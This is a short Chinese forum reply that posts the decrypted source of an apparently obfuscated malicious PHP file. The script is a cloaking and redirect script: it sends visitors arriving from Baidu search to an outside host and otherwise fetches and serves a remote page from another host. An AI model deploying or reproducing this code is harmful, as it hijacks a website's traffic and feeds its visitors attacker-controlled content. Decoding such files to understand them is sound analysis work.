回复:php文件解密
error_reporting(E_ERROR);
header("content-Type: text/html; charset=gb2312");
function readurl($url)
{
preg_match_all("/http\:\/\/([^~]*?)\//i",$url,$tmp);
$fp = @fsockopen($tmp[1][0],80);
@fputs($fp,"GET ".$url." HTTP/1.1\r\nHost:".$tmp[1][0]."\r\nConnection: Close\r\n\r\n");
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
@fclose($fp);
$data = explode('<!DOCTYPE',$resp);
return str_replace('/good/','','<!DOCTYPE'.$data[1]);
}
if(stristr($_SERVER['HTTP_REFERER'],'baidu.com/s?'))
{
Header("Location: hxxp://32779.dx001.htidc.com/wow/wow.html?".$_SERVER['SERVER_NAME']);
}
else echo readurl('hxxp://www.hygrj.com/wow/index.php');
MM啊 双倍分不